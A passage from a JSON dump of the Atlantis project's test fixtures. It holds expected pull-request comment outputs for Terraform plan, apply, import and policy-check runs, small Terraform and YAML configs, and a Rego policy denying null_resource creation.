```\nPlan: 2 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-single-project/exp-output-import-dummy1.txt",
    "content": "Ran Import for dir: `.` workspace: `default`\n\n```diff\nrandom_id.dummy1: Importing from ID \"AA\"...\nrandom_id.dummy1: Import prepared!\n  Prepared random_id for import\nrandom_id.dummy1: Refreshing state... [id=AA]\n\nImport successful!\n\nThe resources that were imported are shown above. These resources are now in\nyour Terraform state and will henceforth be managed by Terraform.\n```\n\n:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying.\n\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-single-project/exp-output-import-dummy2.txt",
    "content": "Ran Import for dir: `.` workspace: `default`\n\n```diff\nrandom_id.dummy2: Importing from ID \"BB\"...\nrandom_id.dummy2: Import prepared!\n  Prepared random_id for import\nrandom_id.dummy2: Refreshing state... [id=BB]\n\nImport successful!\n\nThe resources that were imported are shown above. These resources are now in\nyour Terraform state and will henceforth be managed by Terraform.\n```\n\n:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying.\n\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-single-project/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `.` workspace: `default`\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-single-project/exp-output-plan-again.txt",
    "content": "Ran Plan for dir: `.` workspace: `default`\n\n```diff\nNo changes. Your infrastructure matches the configuration.\n\nTerraform has compared your real infrastructure against your configuration\nand found no differences, so no changes are needed.\n```\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-single-project/main.tf",
    "content": "resource \"random_id\" \"dummy1\" {\n  byte_length = 1\n}\n\nresource \"random_id\" \"dummy2\" {\n  byte_length = 1\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-single-project/versions.tf",
    "content": "provider \"random\" {}\nterraform {\n  required_providers {\n    random = {\n      source  = \"hashicorp/random\"\n      version = \"3.8.1\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-single-project-var/exp-output-autoplan.txt",
    "content": "Ran Plan for dir: `.` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # random_id.count[0] will be created\n+ resource \"random_id\" \"count\" {\n      + b64_std     = (known after apply)\n      + b64_url     = (known after apply)\n      + byte_length = 1\n      + dec         = (known after apply)\n      + hex         = (known after apply)\n      + id          = (known after apply)\n    }\n\n  # random_id.for_each[\"default\"] will be created\n+ resource \"random_id\" \"for_each\" {\n      + b64_std     = (known after apply)\n      + b64_url     = (known after apply)\n      + byte_length = 1\n      + dec         = (known after apply)\n      + hex         = (known after apply)\n      + id          = (known after apply)\n    }\n\nPlan: 2 to add, 0 to change, 0 to destroy.\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```\nPlan: 2 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-single-project-var/exp-output-import-count.txt",
    "content": "Ran Import for dir: `.` workspace: `default`\n\n```diff\nrandom_id.count[0]: Importing from ID \"BB\"...\nrandom_id.count[0]: Import prepared!\n  Prepared random_id for import\nrandom_id.count[0]: Refreshing state... [id=BB]\n\nImport successful!\n\nThe resources that were imported are shown above. These resources are now in\nyour Terraform state and will henceforth be managed by Terraform.\n```\n\n:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying.\n\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-single-project-var/exp-output-import-foreach.txt",
    "content": "Ran Import for dir: `.` workspace: `default`\n\n```diff\nrandom_id.for_each[\"overridden\"]: Importing from ID \"AA\"...\nrandom_id.for_each[\"overridden\"]: Import prepared!\n  Prepared random_id for import\nrandom_id.for_each[\"overridden\"]: Refreshing state... [id=AA]\n\nImport successful!\n\nThe resources that were imported are shown above. These resources are now in\nyour Terraform state and will henceforth be managed by Terraform.\n```\n\n:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying.\n\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-single-project-var/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `.` workspace: `default`\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-single-project-var/exp-output-plan-again.txt",
    "content": "Ran Plan for dir: `.` workspace: `default`\n\n```diff\nNo changes. Your infrastructure matches the configuration.\n\nTerraform has compared your real infrastructure against your configuration\nand found no differences, so no changes are needed.\n```\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d . -- -var var=overridden\n  ```\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-single-project-var/main.tf",
    "content": "resource \"random_id\" \"for_each\" {\n  for_each    = toset([var.var])\n  byte_length = 1\n}\n\nresource \"random_id\" \"count\" {\n  count       = 1\n  byte_length = 1\n}\n\nvariable \"var\" {\n  default = \"default\"\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-single-project-var/versions.tf",
    "content": "provider \"random\" {}\nterraform {\n  required_providers {\n    random = {\n      source  = \"hashicorp/random\"\n      version = \"3.8.1\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-workspace/atlantis.yaml",
    "content": "version: 3\nprojects:\n- name: dir1-ops\n  dir: dir1\n  workspace: ops\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-workspace/dir1/main.tf",
    "content": "resource \"random_id\" \"dummy1\" {\n  count = terraform.workspace == \"ops\" ? 1 : 0\n\n  byte_length = 1\n}\n\nresource \"random_id\" \"dummy2\" {\n  count = terraform.workspace == \"ops\" ? 1 : 0\n\n  byte_length = 1\n}\n\noutput \"workspace\" {\n  value = terraform.workspace\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-workspace/dir1/versions.tf",
    "content": "provider \"random\" {}\nterraform {\n  required_providers {\n    random = {\n      source  = \"hashicorp/random\"\n      version = \"3.8.1\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-workspace/exp-output-import-dir1-ops-dummy1.txt",
    "content": "Ran Import for project: `dir1-ops` dir: `dir1` workspace: `ops`\n\n```diff\nrandom_id.dummy1[0]: Importing from ID \"AA\"...\nrandom_id.dummy1[0]: Import prepared!\n  Prepared random_id for import\nrandom_id.dummy1[0]: Refreshing state... [id=AA]\n\nImport successful!\n\nThe resources that were imported are shown above. These resources are now in\nyour Terraform state and will henceforth be managed by Terraform.\n```\n\n:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying.\n\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -p dir1-ops\n  ```\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-workspace/exp-output-import-dir1-ops-dummy2.txt",
    "content": "Ran Import for project: `dir1-ops` dir: `dir1` workspace: `ops`\n\n```diff\nrandom_id.dummy2[0]: Importing from ID \"BB\"...\nrandom_id.dummy2[0]: Import prepared!\n  Prepared random_id for import\nrandom_id.dummy2[0]: Refreshing state... [id=BB]\n\nImport successful!\n\nThe resources that were imported are shown above. These resources are now in\nyour Terraform state and will henceforth be managed by Terraform.\n```\n\n:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying.\n\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -p dir1-ops\n  ```\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-workspace/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `dir1` workspace: `ops`"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/import-workspace/exp-output-plan.txt",
    "content": "Ran Plan for project: `dir1-ops` dir: `dir1` workspace: `ops`\n\n```diff\nNo changes. Your infrastructure matches the configuration.\n\nTerraform has compared your real infrastructure against your configuration\nand found no differences, so no changes are needed.\n```\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -p dir1-ops\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -p dir1-ops\n  ```\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/modules/exp-output-apply-production.txt",
    "content": "Ran Apply for dir: `production` workspace: `default`\n\n```diff\nmodule.null.null_resource.this: Creating...\nmodule.null.null_resource.this: Creation complete after *s [id=*******************]\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nvar = \"production\"\n```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/modules/exp-output-apply-staging.txt",
    "content": "Ran Apply for dir: `staging` workspace: `default`\n\n```diff\nmodule.null.null_resource.this: Creating...\nmodule.null.null_resource.this: Creation complete after *s [id=*******************]\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nvar = \"staging\"\n```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/modules/exp-output-autoplan-only-staging.txt",
    "content": "Ran Plan for dir: `staging` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # module.null.null_resource.this will be created\n+ resource \"null_resource\" \"this\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ var = \"staging\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d staging\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d staging\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/modules/exp-output-merge-all-dirs.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `production` workspace: `default`\n- dir: `staging` workspace: `default`"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/modules/exp-output-merge-only-staging.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `staging` workspace: `default`"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/modules/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `staging` workspace: `default`\n- dir: `.` workspace: `default`\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/modules/exp-output-plan-production.txt",
    "content": "Ran Plan for dir: `production` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # module.null.null_resource.this will be created\n+ resource \"null_resource\" \"this\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ var = \"production\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d production\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d production\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/modules/exp-output-plan-staging.txt",
    "content": "Ran Plan for dir: `staging` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # module.null.null_resource.this will be created\n+ resource \"null_resource\" \"this\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ var = \"staging\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d staging\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d staging\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/modules/modules/null/main.tf",
    "content": "variable \"var\" {}\nresource \"null_resource\" \"this\" {\n}\noutput \"var\" {\n  value = var.var\n}\n\noutput \"workspace\" {\n  value = terraform.workspace\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/modules/modules/null/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/modules/production/main.tf",
    "content": "module \"null\" {\n  source = \"../modules/null\"\n  var    = \"production\"\n}\noutput \"var\" {\n  value = module.null.var\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/modules/staging/main.tf",
    "content": "module \"null\" {\n  source = \"../modules/null\"\n  var    = \"staging\"\n}\noutput \"var\" {\n  value = module.null.var\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/modules-yaml/atlantis.yaml",
    "content": "version: 3\nprojects:\n- dir: staging\n  autoplan:\n    when_modified: [\"**/*.tf*\", \"../modules/null/*\"]\n- dir: production\n  autoplan:\n    when_modified: [\"**/*.tf*\", \"../modules/null/*\"]\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/modules-yaml/exp-output-apply-production.txt",
    "content": "Ran Apply for dir: `production` workspace: `default`\n\n```diff\nmodule.null.null_resource.this: Creating...\nmodule.null.null_resource.this: Creation complete after *s [id=*******************]\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nvar = \"production\"\n```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/modules-yaml/exp-output-apply-staging.txt",
    "content": "Ran Apply for dir: `staging` workspace: `default`\n\n```diff\nmodule.null.null_resource.this: Creating...\nmodule.null.null_resource.this: Creation complete after *s [id=*******************]\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nvar = \"staging\"\n```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/modules-yaml/exp-output-autoplan.txt",
    "content": "Ran Plan for 2 projects:\n\n1. dir: `staging` workspace: `default`\n1. dir: `production` workspace: `default`\n---\n\n### 1. dir: `staging` workspace: `default`\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # module.null.null_resource.this will be created\n+ resource \"null_resource\" \"this\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ var = \"staging\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d staging\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d staging\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n### 2. dir: `production` workspace: `default`\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # module.null.null_resource.this will be created\n+ resource \"null_resource\" \"this\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ var = \"production\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d production\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d production\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n### Plan Summary\n\n2 projects, 2 with changes, 0 with no changes, 0 failed\n\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/modules-yaml/exp-output-merge-all-dirs.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- path: `runatlantis/atlantis-tests/production` workspace: `default`\n- path: `runatlantis/atlantis-tests/staging` workspace: `default`"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/modules-yaml/exp-output-merge-only-staging.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- path: `runatlantis/atlantis-tests/staging` workspace: `default`"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/modules-yaml/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `production` workspace: `default`\n- dir: `staging` workspace: `default`"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/modules-yaml/exp-output-plan-production.txt",
    "content": "Ran Plan for dir: `production` workspace: `default`\n```diff\nRefreshing Terraform state in-memory prior to plan...\nThe refreshed state will be used to calculate this plan, but will not be\npersisted to local or remote state storage.\n\n\n------------------------------------------------------------------------\n\nAn execution plan has been generated and is shown below.\nResource actions are indicated with the following symbols:\n  + create\n\nTerraform will perform the following actions:\n\n+ module.null.null_resource.this\n      id: <computed>\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n```\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d production\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d production\n  ```\n\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/modules-yaml/exp-output-plan-staging.txt",
    "content": "Ran Plan for dir: `staging` workspace: `default`\n```diff\nRefreshing Terraform state in-memory prior to plan...\nThe refreshed state will be used to calculate this plan, but will not be\npersisted to local or remote state storage.\n\n\n------------------------------------------------------------------------\n\nAn execution plan has been generated and is shown below.\nResource actions are indicated with the following symbols:\n  + create\n\nTerraform will perform the following actions:\n\n+ module.null.null_resource.this\n      id: <computed>\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n```\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d staging\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d staging\n  ```\n\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/modules-yaml/modules/null/main.tf",
    "content": "variable \"var\" {}\nresource \"null_resource\" \"this\" {\n}\noutput \"var\" {\n  value = var.var\n}\n\noutput \"workspace\" {\n  value = terraform.workspace\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/modules-yaml/modules/null/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/modules-yaml/production/main.tf",
    "content": "module \"null\" {\n  source = \"../modules/null\"\n  var    = \"production\"\n}\noutput \"var\" {\n  value = module.null.var\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/modules-yaml/staging/main.tf",
    "content": "module \"null\" {\n  source = \"../modules/null\"\n  var    = \"staging\"\n}\noutput \"var\" {\n  value = module.null.var\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks/atlantis.yaml",
    "content": "version: 3\nprojects:\n- dir: .\n  workspace: default\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks/exp-output-apply-failed.txt",
    "content": "Ran Apply for dir: `.` workspace: `default`\n\n**Apply Failed**: All policies must pass for project before running apply."
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks/exp-output-apply.txt",
    "content": "Ran Apply for dir: `.` workspace: `default`\n\n```diff\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nworkspace = \"default\"\n\n```\n\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks/exp-output-approve-policies.txt",
    "content": "Approved Policies for 1 projects:\n\n1. dir: `.` workspace: `default`\n\n\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks/exp-output-auto-policy-check.txt",
    "content": "Ran Policy Check for dir: `.` workspace: `default`\n\n**Policy Check Failed**: Some policy sets did not pass.\n#### Policy Set: `test_policy`\n```diff\nFAIL - <redacted plan file> - main - WARNING: Null Resource creation is prohibited.\n\n1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions\n\n```\n\n\n#### Policy Approval Status:\n```\npolicy set: test_policy: requires: 1 approval(s), have: 0.\n```\n* :heavy_check_mark: To **approve** this project, comment:\n  ```shell\n  atlantis approve_policies -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan -d .\n  ```\n---\n* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis approve_policies\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks/exp-output-autoplan.txt",
    "content": "Ran Plan for dir: `.` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ workspace = \"default\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d .\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `.` workspace: `default`\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks/main.tf",
    "content": "resource \"null_resource\" \"simple\" {\n  count = 1\n}\n\noutput \"workspace\" {\n  value = terraform.workspace\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks/policies/policy.rego",
    "content": "package main\n\nimport input as tfplan\n\ndeny contains reason if {\n\tnum_deletes.null_resource > 0\n\treason := \"WARNING: Null Resource creation is prohibited.\"\n}\n\nresource_types = {\"null_resource\"}\n\nresources[resource_type] = all if {\n\tsome resource_type\n\tresource_types[resource_type]\n\tall := [name |\n\t\tname := tfplan.resource_changes[_]\n\t\tname.type == resource_type\n\t]\n}\n\n# number of deletions of resources of a given type\nnum_deletes[resource_type] = num if {\n\tsome resource_type\n\tresource_types[resource_type]\n\tall := resources[resource_type]\n\tdeletions := [res | res := all[_]; res.change.actions[_] == \"create\"]\n\tnum := count(deletions)\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks/repos.yaml",
    "content": "policies:\n  owners:\n    users:\n      - runatlantis\n  policy_sets:\n    - name: test_policy\n      path: policies/policy.rego\n      source: local\n        \n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/atlantis.yaml",
    "content": "version: 3\nprojects:\n- dir: .\n  workspace: default\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-apply-failed.txt",
    "content": "Ran Apply for dir: `.` workspace: `default`\n\n**Apply Failed**: All policies must pass for project before running apply."
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-apply.txt",
    "content": "Ran Apply for dir: `.` workspace: `default`\n\n```diff\nnull_resource.simple:\nnull_resource.simple:\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nworkspace = \"default\"\n\n```\n\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-approve-policies.txt",
    "content": "Approved Policies for 1 projects:\n\n1. dir: `.` workspace: `default`\n\n\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-auto-policy-check.txt",
    "content": "Ran Policy Check for dir: `.` workspace: `default`\n\n**Policy Check Failed**: Some policy sets did not pass.\n#### Policy Set: `test_policy`\n```diff\nFAIL - <redacted plan file> - main - WARNING: Null Resource creation is prohibited.\n\n1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions\n\n```\n\n\n#### Policy Approval Status:\n```\npolicy set: test_policy: requires: 1 approval(s), have: 0.\n```\n* :heavy_check_mark: To **approve** this project, comment:\n  ```shell\n  atlantis approve_policies -d .\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan -d .\n  ```\n---\n* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis approve_policies\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```\n* :repeat: To re-run policies **plan** this project again by commenting:\n  ```shell\n  atlantis plan\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/policy-checks-apply-reqs/exp-output-autoplan.txt",
